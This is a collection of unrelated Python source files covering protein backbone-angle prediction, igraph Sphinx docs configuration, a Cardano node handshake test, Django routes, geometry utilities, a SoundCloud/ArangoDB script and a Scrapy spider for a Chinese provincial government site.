import os.path
from keras.models import load_model
import numpy as np
from keras.losses import mean_squared_error, mean_absolute_error

class Minifold:

    def __init__(self, model_path, window_size, max_aa_length):

        self.model_path = model_path+'protein_under_'+str(max_aa_length)+'.h5'
        self.window_size = window_size

        #Hidde info messages from tensorflow
        os.environ['TF_CPP_MIN_LOG_LEVEL'] = '1'

        if not os.path.isfile(self.model_path):

            raise IOError('<!> ERROR: Knowledge model not existing!\nTo generate a model execute: initialAngleTrainer/initialAngleTrainer.py')

    def predictAngles(self, aminoacids):

        print('    ⬤ Loading knowledge model')
        #Load existing model
        model = load_model(self.model_path, custom_objects={'custom_mse_mae': self.custom_mse_mae})

        print('    ⬤ Generating input values')
        input_values = self.generate_input_values(aminoacids)

        #input_aas is a rows x aas windows size x 22 (20 aas, Van der Waals distance, Surface)
        predicted_angles = model.predict(input_values)

        #get angles from sin and cos. Angles are expresed between π and -π
        angles = self.extract_angles(predicted_angles)

        return angles

    # Metric defined in: https://github.com/EricAlcaide/MiniFold/blob/master/models/angles/resnet_1d_angles.py#L14
    def custom_mse_mae(self, y_true, y_pred):
        """ Custom loss function - MSE + MAE """
        return mean_squared_error(y_true, y_pred)+ mean_absolute_error(y_true, y_pred)

    def generate_input_values(self, protein_sequence):

        key = "HRKDENQSYTCPAVLIGFWM"

        # Van der Waals radius
        vdw_radius = {"H": 118, "R": 148, "K": 135, "D": 91, "E": 109, "N": 96, "Q": 114,
                        "S": 73, "Y": 141, "T": 93, "C": 86, "P": 90, "A": 67, "V": 105,
                        "L": 124, "I": 124, "G": 48, "F": 135, "W": 163, "M": 124}
        radius_rel = vdw_radius.values()
        basis = min(radius_rel)/max(radius_rel)
        # Surface exposure
        surface = {"H": 151, "R": 196, "K": 167, "D": 106, "E": 138, "N": 113, "Q": 144,
                        "S": 80, "Y": 187, "T": 102, "C": 104, "P": 105, "A": 67, "V": 117,
                        "L": 137, "I": 140, "G": 0, "F": 175, "W": 217, "M": 160}
        surface_rel = surface.values()
        surface_basis = min(surface_rel)/max(surface_rel)

        print('    ⬤ Generating input for minifold prediction')

        aas_input = []
        # iterate over each aminoacid
        for right in range(1, len(protein_sequence)):

            aa_input = []
            [left_index, right_index] = self.calculate_left_right(self.window_size, right, len(protein_sequence))
            protein_sequence_index = left_index

            #create input for each aminoacid pair
            for window_index in range(0, self.window_size*2):

                column = []

                if window_index >= left_index and window_index <= right_index:

                    #in each window is necessary to create an array with 22 positions
                    for column_index in range(0, 22):

                        #If the aa is the same than in the key, it inserts a 1 (one-hot encoding)
                        if column_index < len(key) and protein_sequence[protein_sequence_index] == key[column_index]:
                            column.append(1)
                            #The aminoacid is found in this index value so it is stored in a variable for the VdW and surface
                            key_index = column_index

                        #If the aa is not the same than in the key, it inserts a 0 (one-hot encoding)
                        elif column_index < len(key) and protein_sequence[protein_sequence_index] != key[column_index]:
                            column.append(0)

                        #Van der Waals radius
                        elif column_index == 20:
                            column.append(vdw_radius[key[key_index]]/max(radius_rel)-basis)

                        #Surface
                        elif column_index == 21:
                            column.append(surface[key[key_index]]/max(surface_rel)-surface_basis)

                    protein_sequence_index += 1

                else:
                    column = np.zeros(22)

                aa_input.append(column)

            aas_input.append(aa_input)

        inputs = np.array(aas_input)
        return inputs

    def calculate_left_right(self, window_size, right, protein_sequence_length):

        left = right - 1

        for _ in range(1, window_size):

            if left > 1:
                left -= 1

            if right < protein_sequence_length-1:
                right += 1

        return [left, right]

    def extract_angles(self, predicted_angles):

        angles = []

        for prediction in predicted_angles:
            angles_row = []
            phi_sin, phi_cos, psi_sin, psi_cos = prediction[0], prediction[1], prediction[2], prediction[3]

            angles_row.append(np.arctan2(phi_sin, phi_cos))
            angles_row.append(np.arctan2(psi_sin, psi_cos))

            angles.append(angles_row)

        return angles


# -*- coding: utf-8 -*-
#
# igraph documentation build configuration file, created by
# sphinx-quickstart on Thu Jun 17 11:36:14 2010.
#
# This file is execfile()d with the current directory set to its containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

from datetime import datetime

import sys
import os
import importlib
from pathlib import Path

# Check if we are inside readthedocs, the conf is quite different there
rtd_version = os.getenv("READTHEDOCS_VERSION", "")
rtd_version_type = os.getenv("READTHEDOCS_VERSION_TYPE", "unknown")

# Utility functions
# NOTE: these could be improved, esp by importing igraph, but that
# currently generates a conflict with pydoctor. It is funny because pydoctor's
# docs indeed import itself... perhaps there's a decent way to solve this.
def get_root_dir():
    """Get project root folder"""
    return str(Path(".").absolute().parent.parent)

def get_igraphdir():
    """Get igraph folder"""
    return Path(importlib.util.find_spec("igraph").origin).parent

def get_igraph_version():
    """Get igraph version"""
    if rtd_version and rtd_version_type == "tag":
        return rtd_version

    version_file = get_igraphdir() / "version.py"
    with open(version_file, "rt") as f:
        version_info = f.readline().rstrip("\n").split("=")[1].strip()[1:-1].split(", ")
    version = ".".join(version_info)

    return version

# -- General configuration -----------------------------------------------------

_igraph_dir = str(get_igraphdir())
_igraph_version = get_igraph_version()

# If your documentation needs a minimal Sphinx version, state it here.
# needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be extensions
# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
extensions = [
    "sphinx.ext.coverage",
    "sphinx.ext.mathjax",
    "sphinx.ext.intersphinx",
    "sphinx_gallery.gen_gallery",
    #'sphinx_panels',
    "pydoctor.sphinx_ext.build_apidocs",
]

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
# sys.path.append(os.path.abspath('.'))

# The suffix of source filenames.
source_suffix = ".rst"

# The encoding of source files.
# source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = "index"

# General information about the project.
project = "igraph"
copyright = "2010-{0}, The igraph development team".format(datetime.now().year)

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = _igraph_version
# The full version, including alpha/beta/rc tags.
release = version

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
# language = None

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
# today = ''
# Else, today_fmt is used as the format for a strftime call.
# today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ["include/*.rst"]

# The reST default role (used for this markup: `text`) to use for all documents.
# default_role = None

# If true, '()' will be appended to :func: etc. cross-reference text.
# add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
# add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
# show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = "sphinx"

# A list of ignored prefixes for module index sorting.
# modindex_common_prefix = []

# -- Options for HTML output ---------------------------------------------------

# Inspired by pydoctor's RTD page itself
# https://github.com/twisted/pydoctor/blob/master/docs/source/conf.py
html_theme = "sphinx_rtd_theme"
html_static_path = []

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
# html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
# html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
html_logo = "_static/logo-black.svg"

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
# html_favicon = None

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
# html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
# html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
# html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
# html_additional_pages = {}

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
# html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
# html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
# html_use_opensearch = ''

# If nonempty, this is the file name suffix for HTML files (e.g. ".xhtml").
# html_file_suffix = ''

# Output file base name for HTML help builder.
htmlhelp_basename = "igraphdoc"

# -- Options for pydoctor ------------------------------------------------------

def get_pydoctor_html_outputdir(pydoctor_url_path):
    """Get HTML output dir for pydoctor"""
    # NOTE: obviously this is a little tricky, but it does work for both
    # the sphinx-build script and the python -m sphinx module calls. It works
    # locally, on github pages, and on RTD.
    return str(Path(sys.argv[-1]) / pydoctor_url_path.strip("/"))

# API docs relative to the rest of the docs, needed for pydoctor to play nicely
# with intersphinx (https://pypi.org/project/pydoctor/#pydoctor-21-2-0)
# NOTE: As of 2022 AD, pydoctor requires this to be a subfolder of the docs.
pydoctor_url_path = "api/"

pydoctor_args = [
    "--project-name=igraph",
    "--project-version=" + version,
    "--project-url=https://python.igraph.org",
    "--introspect-c-modules",
    "--docformat=epytext",
    "--intersphinx=https://docs.python.org/3/objects.inv",
    "--html-output=" + get_pydoctor_html_outputdir(pydoctor_url_path),
    "--html-viewsource-base=https://github.com/igraph/python-igraph/tree/main/src/igraph",
    "--project-base-dir=" + _igraph_dir,
    "--template-dir=" + get_root_dir() + "/doc/source/_pydoctor_templates",
    "--theme=readthedocs",
    _igraph_dir,
]
pydoctor_url_path = "/en/{rtd_version}/api"

# -- Options for sphinx-gallery ------------------------------------------------

sphinx_gallery_conf = {
    "examples_dirs": "../examples_sphinx-gallery",  # path to your example scripts
    "gallery_dirs": "tutorials",  # path to where to save gallery generated output
    "filename_pattern": "/",
    "matplotlib_animations": True,
    "remove_config_comments": True,
}

# -- Options for LaTeX output --------------------------------------------------

# The paper size ('letter' or 'a4').
# latex_paper_size = 'letter'

# The font size ('10pt', '11pt' or '12pt').
# latex_font_size = '10pt'

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title, author, documentclass [howto/manual]).
latex_documents = [
    (
        "index",
        "igraph.tex",
        "igraph Documentation",
        "The igraph development team",
        "manual",
    ),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
# latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
# latex_use_parts = False

# If true, show page references after internal links.
# latex_show_pagerefs = False

# If true, show URL addresses after external links.
# latex_show_urls = False

# Additional stuff for the LaTeX preamble.
# latex_preamble = ''

# Documents to append as an appendix to all manuals.
# latex_appendices = []

# If false, no module index is generated.
# latex_domain_indices = True

# -- Options for manual page output --------------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    ("index", "igraph", "igraph Documentation", ["The igraph development team"], 1)
]

# -- Options for Epub output ---------------------------------------------------

# Bibliographic Dublin Core info.
epub_title = "igraph"
epub_author = "The igraph development team"
epub_publisher = "The igraph development team"
epub_copyright = "2010-2022, The igraph development team"

# The language of the text. It defaults to the language option
# or en if the language is not set.
# epub_language = ''

# The scheme of the identifier. Typical schemes are ISBN or URL.
# epub_scheme = ''

# The unique identifier of the text. This can be a ISBN number
# or the project homepage.
# epub_identifier = ''

# A unique identification for the text.
# epub_uid = ''

# HTML files that should be inserted before the pages created by sphinx.
# The format is a list of tuples containing the path and title.
# epub_pre_files = []

# HTML files shat should be inserted after the pages created by sphinx.
# The format is a list of tuples containing the path and title.
# epub_post_files = []

# A list of files that should not be packed into the epub file.
# epub_exclude_files = []

# The depth of the table of contents in toc.ncx.
# epub_tocdepth = 3

# -- Intersphinx ------------------------------------------------

intersphinx_mapping = {
    "numpy": ("https://numpy.org/doc/stable/", None),
    "scipy": ("https://docs.scipy.org/doc/scipy/", None),
    "matplotlib": ("https://matplotlib.org/stable", None),
    "pandas": ("https://pandas.pydata.org/pandas-docs/stable/", None),
    "networkx": ("https://networkx.org/documentation/stable/", None),
}


import os
import socket
from datetime import datetime
from typing import NamedTuple

import bitstruct
import cbor2

from .utils import recv_exact, send_many

HDR = bitstruct.compile("u32u1u15u16")

class Header(NamedTuple):
    time: int
    mode: bool
    mini_protocol_id: int
    length: int

def now_micros():
    return int(datetime.now().timestamp() * (10 ** 6)) & 0xFFFFFFFF

def test():
    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    sock.connect(os.environ["CARDANO_NODE_SOCKET_PATH"])
    # propose
    msg = cbor2.dumps([0, {5: [42, False]}])
    hdr = Header(
        time=now_micros(),
        mode=0,
        mini_protocol_id=0,  # handshake protocol id
        length=len(msg),
    )
    raw = HDR.pack(*hdr)
    print("sent", len(msg) + 8)
    send_many(sock, raw, msg)
    print("recv")
    raw = recv_exact(sock, 8)
    hdr = Header(*HDR.unpack(raw))
    print("recv header", hdr)
    msg = cbor2.loads(recv_exact(sock, hdr.length))
    print("recv msg", msg)

if __name__ == "__main__":
    test()


from typing import Any

import arrow
from frictionless import types, Field
from starlette_context import context

from ...controller import CONSTANTS
from ...models import Dataset
from ....utils.db_connection import get_db

def cast_value_to_frictionless_datatype(value:Any, to_datatype:str):
    if to_datatype in ['date', 'datetime']:
        value = str(value).replace(' ', '')
    FrictionlessType = frictionless_cell_type_mapper.get(to_datatype, types.StringType)
    field = Field(type=to_datatype, group_char=',', bare_number=False)
    cell = FrictionlessType(field)
    return cell.read_cell(value)

frictionless_cell_type_mapper = {
    "any": types.AnyType,
    "array": types.ArrayType,
    "boolean": types.BooleanType,
    "date": types.DateType,
    "datetime": types.DatetimeType,
    "duration": types.DurationType,
    "geojson": types.GeojsonType,
    "geopoint": types.GeopointType,
    "integer": types.IntegerType,
    "number": types.NumberType,
    "object": types.ObjectType,
    "string": types.StringType,
    "time": types.TimeType,
    "year": types.YearType,
    "yearmonth": types.YearmonthType
}

def has_dataset_modification_permission(dataset_id:int) -> bool:
    db  = get_db()
    dataset = Dataset.get_dataset_by_id(db, dataset_id)

    active_user_roles = [role["code"] for role in context.get('user').get('roles')]
    if CONSTANTS.ADMIN in active_user_roles:
        return True

    for member in dataset.project.members:
        if member.user_id == context.get("user").get('id'):
            if member.permission in [CONSTANTS.OWNER, CONSTANTS.MANAGER, CONSTANTS.DATAENTRY]:
                return True
    return False

def has_dataset_view_permission(dataset_id:int) -> bool:
    db  = get_db()
    dataset = Dataset.get_dataset_by_id(db, dataset_id)

    active_user_roles = [role["code"] for role in context.get('user').get('roles')]
    if CONSTANTS.ADMIN in active_user_roles:
        return True

    for member in dataset.project.members:
        if member.user_id == context.get("user").get('id'):
            # if member.permission in [CONSTANTS.OWNER, CONSTANTS.MANAGER, CONSTANTS.DATAENTRY, CONSTANTS.VIEWER]:
            return True
    return False


import torch.nn.functional as F

from transformers_multihead_attn_tutorial.model.transformer_predictor import TransformerPredictor

class AnomalyPredictor(TransformerPredictor):

    def _calculate_loss(self, batch, mode="train"):
        img_sets, _, labels = batch
        preds = self.forward(img_sets,
                             add_positional_encoding=False)  # No positional encodings as it is a set, not a sequence!
        preds = preds.squeeze(dim=-1)  # Shape: [Batch_size, set_size]
        loss = F.cross_entropy(preds, labels)  # Softmax/CE over set dimension
        acc = (preds.argmax(dim=-1) == labels).float().mean()
        self.log("%s_loss" % mode, loss)
        self.log("%s_acc" % mode, acc, on_step=False, on_epoch=True)
        return loss, acc

    def training_step(self, batch, batch_idx):
        loss, _ = self._calculate_loss(batch, mode="train")
        return loss

    def validation_step(self, batch, batch_idx):
        _ = self._calculate_loss(batch, mode="val")

    def test_step(self, batch, batch_idx):
        _ = self._calculate_loss(batch, mode="test")


from django.urls import path
from . import views
app_name = 'cat'

urlpatterns = [
    path('genre_list/', views.GenreListView.as_view(), name="genre-list"),
    path('genre/<int:pk>/', views.GenreDetailView.as_view(), name="genre-det"),
    path('genre_add/', views.GenreAddView.as_view(), name="genre-add"),
    path('genre_delete/<int:pk>/', views.GenreDeleteView.as_view(), name="genre-del"),
    path('genre_edit/<int:pk>/', views.GenreUpdateView.as_view(), name="genre-edit"),

    path('series_list/', views.SeriesListView.as_view(), name="series-list"),
    path('series/<int:pk>/', views.SeriesDetailView.as_view(), name="series-det"),
    path('series_add/', views.SeriesAddView.as_view(), name="series-add"),
    path('series_delete/<int:pk>/', views.SeriesDeleteView.as_view(), name="series-del"),
    path('series_edit/<int:pk>/', views.SeriesUpdateView.as_view(), name="series-edit"),

    path('author_list/', views.TheAuthorListView.as_view(), name="author-list"),
    path('author/<int:pk>/', views.TheAuthorDetailView.as_view(), name="author-det"),
    path('author_add/', views.TheAuthorAddView.as_view(), name="author-add"),
    path('author_delete/<int:pk>/', views.TheAuthorDeleteView.as_view(), name="author-del"),
    path('author_edit/<int:pk>/', views.TheAuthorUpdateView.as_view(), name="author-edit"),

    path('publishinghouse_list/', views.PublishingHouseListView.as_view(), name="publishinghouse-list"),
    path('publishinghouse/<int:pk>/', views.PublishingHouseDetailView.as_view(), name="publishinghouse-det"),
    path('publishinghouse_add/', views.PublishingHouseAddView.as_view(), name="publishinghouse-add"),
    path('publishinghouse_delete/<int:pk>/', views.PublishingHouseDeleteView.as_view(), name="publishinghouse-del"),
    path('publishinghouse_edit/<int:pk>/', views.PublishingHouseUpdateView.as_view(), name="publishinghouse-edit"),

    path('status_list/', views.StatusListView.as_view(), name="status-list"),
    path('status/<int:pk>/', views.StatusDetailView.as_view(), name="status-det"),
    path('status_add/', views.StatusAddView.as_view(), name="status-add"),
    path('status_delete/<int:pk>/', views.StatusDeleteView.as_view(), name="status-del"),
    path('status_edit/<int:pk>/', views.StatusUpdateView.as_view(), name="status-edit"),
]


import os
from os.path import dirname as up
import pathlib
import sys

filepath = pathlib.Path(__file__).resolve()
mymi_dir = up(up(up(up(filepath))))
sys.path.append(mymi_dir)
from mymi import config

keep_n = 1
for_real = False

modelspath = config.directories.models
models = os.listdir(modelspath)
for model in models:
    runspath = os.path.join(modelspath, model)
    runs = os.listdir(runspath)
    for run in runs:
        ckptspath = os.path.join(runspath, run)
        ckpts = os.listdir(ckptspath)

        # Remove 'last.ckpt'
        if 'last.ckpt' in ckpts:
            ckpts.remove('last.ckpt')

        # Sort and highlight those to delete.
        ckpts = sorted(ckpts)
        ckpts_to_delete = ckpts[:-keep_n]

        for ckpt in ckpts_to_delete:
            if for_real:
                print(f'{model}:{run}:{ckpt}')
                ckptpath = os.path.join(ckptspath, ckpt)
                os.remove(ckptpath)
            else:
                print(f'{model}:{run}:{ckpt}')


from ModelHelper.Common.CommonUtils import get
import numpy as np
import os
import cv2

class Quadrangle:
    def __init__(self, **kwargs):
        """
        pos_str: "x0,y0,x1,y1,x2,y2,x3,y3"
        pos_list: [[x0, y0], [x1, y1], [x2, y2], [x3, y3]]
        :param kwargs:
        """
        self.pos_str = get('pos_str', kwargs)
        self.pos_array = get('pos_array', kwargs)
        if self.pos_str is None and self.pos_array is None:
            raise RuntimeError('pos_str is None and pos_list is None!')
        if self.pos_str is None:
            self.pos_array = self.pos_array.astype(np.int32)
            self.pos_str = self.__pos_array2str()
        if self.pos_array is None:
            self.pos_array = self.__pos_str2pos_array()
            self.pos_array = self.pos_array.astype(np.int32)
        self.left = self.pos_array[:, 0].min()
        self.right = self.pos_array[:, 0].max()
        self.top = self.pos_array[:, 1].min()
        self.bottom = self.pos_array[:, 1].max()
        self.area = (self.bottom - self.top) * (self.right - self.left)

    def to_stander(self):
        """
        顺时针排列，第一个点为左上角
        :return: None
        """
        poly = np.array(self.pos_array)
        edge = [
            (poly[1][0] - poly[0][0]) * (poly[1][1] + poly[0][1]),
            (poly[2][0] - poly[1][0]) * (poly[2][1] + poly[1][1]),
            (poly[3][0] - poly[2][0]) * (poly[3][1] + poly[2][1]),
            (poly[0][0] - poly[3][0]) * (poly[0][1] + poly[3][1])
        ]
        poly_area = np.sum(edge) / 2.
        if abs(poly_area) < 1:
            print('invalid poly')
            self.pos_array = None
            self.pos_str = None
        else:
            # 保证poly 顺时针排列
            if poly_area > 0:
                # print('poly in wrong direction')
                poly = poly[(0, 3, 2, 1), :]
            score0 = np.sum(poly[0, :])
            score1 = np.sum(poly[1, :])
            score2 = np.sum(poly[2, :])
            score3 = np.sum(poly[3, :])
            # 保证poly 第一个坐标点为左上角
            min_score = min(score0, score1, score2, score3)
            if min_score == score0:
                pass
            elif min_score == score1:
                poly = poly[(1, 2, 3, 0), :]
            elif min_score == score2:
                poly = poly[(2, 3, 0, 1), :]
            elif min_score == score3:
                poly = poly[(3, 0, 1, 2,), :]
            self.pos_array = poly
            self.pos_str = self.__pos_array2str()

    def __pos_array2str(self):
        pos_str = str(self.pos_array[0][0]) + ',' + str(self.pos_array[0][1]) + ',' \
                  + str(self.pos_array[1][0]) + ',' + str(self.pos_array[1][1]) + ',' \
                  + str(self.pos_array[2][0]) + ',' + str(self.pos_array[2][1]) + ',' \
                  + str(self.pos_array[3][0]) + ',' + str(self.pos_array[3][1])
        return pos_str

    def __pos_str2pos_array(self):
        info = self.pos_str.split(',')
        if len(info) >= 8:
            x0 = int(float(info[0]))
            y0 = int(float(info[1]))
            x1 = int(float(info[2]))
            y1 = int(float(info[3]))
            x2 = int(float(info[4]))
            y2 = int(float(info[5]))
            x3 = int(float(info[6]))
            y3 = int(float(info[7]))

            pos_array = np.zeros((4, 2), dtype=np.int32)
            pos_array[0][0] = x0
            pos_array[0][1] = y0
            pos_array[1][0] = x1
            pos_array[1][1] = y1
            pos_array[2][0] = x2
            pos_array[2][1] = y2
            pos_array[3][0] = x3
            pos_array[3][1] = y3

            return pos_array
        else:
            print('quadrangle label should look like: "x0,y0,x1,y1,x2,y2,x3,y3", but the input is : {}'.format(
                self.pos_str))

def txt2list(txt_path, encoding='utf-8'):
    assert os.path.exists(txt_path)
    txt = open(txt_path, 'r', encoding=encoding)
    quadrangle_list = list()
    for line in txt.readlines():
        line = line.strip()
        line = line.replace('\n', '')
        if line == '':
            continue
        info = line.split(',')
        if len(info) >= 8:
            qua = Quadrangle(pos_str=line)
            quadrangle_list.append(qua)
        else:
            print('quadrangle label should look like: "x0,y0,x1,y1,x2,y2,x3,y3", but the input is : {}'.format(line))
    txt.close()
    return quadrangle_list

def list2txt(quadrangle_list, txt_path, encoding='utf-8'):
    if os.path.exists(txt_path):
        os.remove(txt_path)
    txt = open(txt_path, 'a', encoding=encoding)
    for qua in quadrangle_list:
        txt.write(qua.pos_str + '\n')
    txt.close()

def txt2array(txt_path, encoding='utf-8'):
    assert os.path.exists(txt_path)
    txt = open(txt_path, 'r', encoding=encoding)
    lines = txt.readlines()
    txt.close()
    filtered_lines = list()
    for line in lines:
        line = line.strip()
        line = line.replace('\n', '')
        if line == '':
            continue
        info = line.split(',')
        if len(info) >= 8:
            filtered_lines.append(line)
        else:
            print('quadrangle label should look like: "x0,y0,x1,y1,x2,y2,x3,y3", but the input is : {}'.format(line))
    qua_num = len(filtered_lines)
    quadrangle_array = np.zeros((qua_num, 4, 2), dtype=np.int32)
    idx = 0
    for line in filtered_lines:
        qua = Quadrangle(pos_str=line)
        quadrangle_array[idx, :, :] = qua.pos_array
        idx += 1

    return quadrangle_array

def array2txt(quadrangle_array, txt_path, encoding='utf-8'):
    if os.path.exists(txt_path):
        os.remove(txt_path)
    txt = open(txt_path, 'a', encoding=encoding)
    qua_num = quadrangle_array.shape[0]
    for idx in range(qua_num):
        qua = quadrangle_array[idx, :, :]
        qua = Quadrangle(pos_array=qua)
        txt.write(qua.pos_str + '\n')
    txt.close()

def compute_iou(qua1, qua2):
    top = min(qua1.top, qua2.top)
    left = min(qua1.left, qua2.left)
    bottom = max(qua1.bottom, qua2.bottom)
    right = max(qua1.right, qua2.right)

    qua1_array = qua1.pos_array
    qua1_array[:, 0] -= left
    qua1_array[:, 1] -= top
    qua2_array = qua2.pos_array
    qua2_array[:, 0] -= left
    qua2_array[:, 1] -= top

    qua1_draw = np.zeros((1, qua1_array.shape[0], 2), dtype=np.int32)
    qua1_draw[0, :, :] = qua1_array
    qua1_poly = np.zeros((bottom - top, right - left), dtype=np.int32)
    cv2.fillPoly(qua1_poly, qua1_draw, 1)
    # cv2.imwrite('qua1.png', qua1_poly*255)
    qua1_sum = qua1_poly.sum()

    qua2_draw = np.zeros((1, qua2_array.shape[0], 2), dtype=np.int32)
    qua2_draw[0, :, :] = qua2_array
    qua2_poly = np.zeros((bottom - top, right - left), dtype=np.int32)
    cv2.fillPoly(qua2_poly, qua2_draw, 1)
    # cv2.imwrite('qua2.png', qua2_poly*255)
    qua2_sum = qua2_poly.sum()

    inter = qua1_poly * qua2_poly
    # cv2.imwrite('inter.png', inter*255)

    inter = inter.sum()
    union = qua1_sum + qua2_sum - inter
    iou = inter / union
    return iou

def resize(qua_array, ratio):
    (ratio_h, ratio_w) = ratio
    qua_array[:, :, 0] *= ratio_w
    qua_array[:, :, 1] *= ratio_h
    return qua_array

def flip(qua_array, type, img_shape):
    """
    flip
    :param txt_path:
    :param type: type=0, vertical flip, type=1, horizontal flip
    :return:
    """

    assert type == 0 or type == 1
    (h, w) = img_shape[:2]
    if type == 0:
        qua_array[:, :, 1] = h - qua_array[:, :, 1]
    else:
        qua_array[:, :, 0] = w - qua_array[:, :, 0]

    return qua_array


from arango import ArangoClient
from arango_orm import Database

from datetime import datetime

from User import User

from UserRepo import UserRepo

import soundcloud

clientS = soundcloud.Client(client_id=app.config["APY_KEY"])

client = ArangoClient(protocol='http', host='localhost', port=8529)
test_db = client.db('soundcloud', username='root', password='')

db = Database(test_db)

user = clientS.get('/users/pierrock')
print(user.id)

userRepo = UserRepo(db=db)

#userRepo.sc_to_db(user)

#userObj = userRepo.from_db_by_id(str(user.id))
userObj = userRepo.from_db_by_username(user.username)
userObj.display()

#clientS.get('/users/'+str(user.id)+'/playlists')
pgsize=10
playlists = clientS.get('/users/21381146/playlists' , limit=pgsize)

for playlist in playlists :
    print(str(playlist.id) + " - " + playlist.title)

try:
       while playlists.next_href != None:
            playlists = client.get(playlists.next_href , limit=pgsize, order='id',
                linked_partitioning=1)
            for playlist in playlists :
                print(str(playlist.id) + " - " + playlist.title)

except AttributeError as e:
            print('Exception found!: ' + str(e))

#db = Database(test_db)

#trackRepo = TrackRepo(db=db)
#trackRepo.write(tracky)

#t = Track()
#t = Track(title='test', _key='12311', genre='pop', created_at=datetime(year=2016, month=9, day=12, hour=20, minute=30, second=10))
#t.convert(soundcloudTrack=tracky)
#db.add(t)

#print(t.title)


# __coding:utf-8__
'''
@Author  : Sun
@Time    :  下午5:55
@Software: PyCharm
@File    : anhui.py
'''

import re
import time
import scrapy
import datetime
import logging
import requests
import json

from common.dbtools import DatabaseAgent
from job.items import IndustrialItem
from job.models.industrial import Industrial
from common.common import is_exits

class shandong(scrapy.Spider):
    name = 'shandong'
    header = {'Cache-Control': 'max-age=0', 'Origin': 'http://www.aheic.gov.cn', 'Upgrade-Insecure-Requests': '1',
              'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36',
              'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
              'Referer': 'http://www.sheitc.gov.cn/zxgkxx/index.htm', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
              'Cookie': '_sheitc=jinasgKzas; _gscu_1260451812=302449692ovey868; _gscbrs_1260451812=1; gwideal_date=day; gwdshare_firstime=1530244999495; _gscs_1260451812=t30258567798d7510|pv:12'}
    area = "shandong"
    origin = "shandong"
    url = 'http://www.sdeic.gov.cn/gentleCMS/f_articlesearch/getSearchArticleListForNameorContent.do'
    keys = ['工业互联网','工业App']

    def start_requests(self):
        for key in self.keys:
            res_page = requests.post(
                url=self.url,
                headers=self.header,
                data={"siteid": "934369d9-7c20-45e0-a919-08ed9d557a1d","pageIndex":"1","pageSize":"15","name":key,"sitePubUrl":"/","number":"","time":"","channelid":""},
            )
            page = int(json.loads(res_page.content)['result']['pagecount'])
            for p in range(1,page+1):
                res = requests.post(
                    url=self.url,
                    headers=self.header,
                    data={"siteid": "934369d9-7c20-45e0-a919-08ed9d557a1d", "pageIndex": p, "pageSize": "15",
                          "name": key, "sitePubUrl": "/", "number": "", "time": "", "channelid": ""},
                )
                try:
                    json.loads(res.content)['result']['articleList']
                except:
                    continue
                for data in json.loads(res.content)['result']['articleList']:
                    data['PUBURL'] = 'http://www.sdeic.gov.cn' + data['PUBURL']
                    yield scrapy.Request(
                        url=data['PUBURL'],
                        headers=self.header,
                        callback=lambda response,key=key,data=data: self.save_data(response,key,data)
                    )

    def save_data(self,response,key,data):
        # article = response.xpath()
        db_agent = DatabaseAgent()
        s = IndustrialItem()
        s['title'] = data['NAME']
        if key == "工业App" and ("工业" not in s['title'] or ("App" not in s['title'] and "APP" not in s[
            'title'] and "app" not in s['title'])):
            pass
        else:
            pattern = re.compile(r'发布时间：(.*?) ')
            date = pattern.search(response.body.decode("utf8")).group(1)
            date = datetime.datetime.strptime(date, "%Y-%m-%d")
            s['time'] = int(time.mktime(date.timetuple()))
            s['area'] = self.area
            s['origin'] = self.origin
            s['keyword'] = key
            s['url'] = data['PUBURL']
            s['nature'] = data['CHANNELNAME']
            if is_exits(s["title"], s["url"]):
                try:
                    db_agent.add(
                        kwargs=dict(s),
                        orm_model=Industrial
                    )
                    logging.info("-----------add success------------")
                except Exception as e:
                    logging.info(e)
                    logging.info("-----------add error------------")
                    pass
        yield s


import numpy as np
import dlib
import cv2
import src.image.utils as utils
import threading

class ObjectTracker:
    def __init__(self, replace=None, daemon=False, scale_factor=1):
        self.CLASSES = ["background", "aeroplane", "bicycle", "bird", "boat",
                        "bottle", "bus", "car", "cat", "chair", "cow", "diningtable",
                        "dog", "horse", "motorbike", "person", "pottedplant", "sheep",
                        "sofa", "train", "tvmonitor"]
        self.prototxt = 'resources/object_tracker/model2/deploy.prototxt'
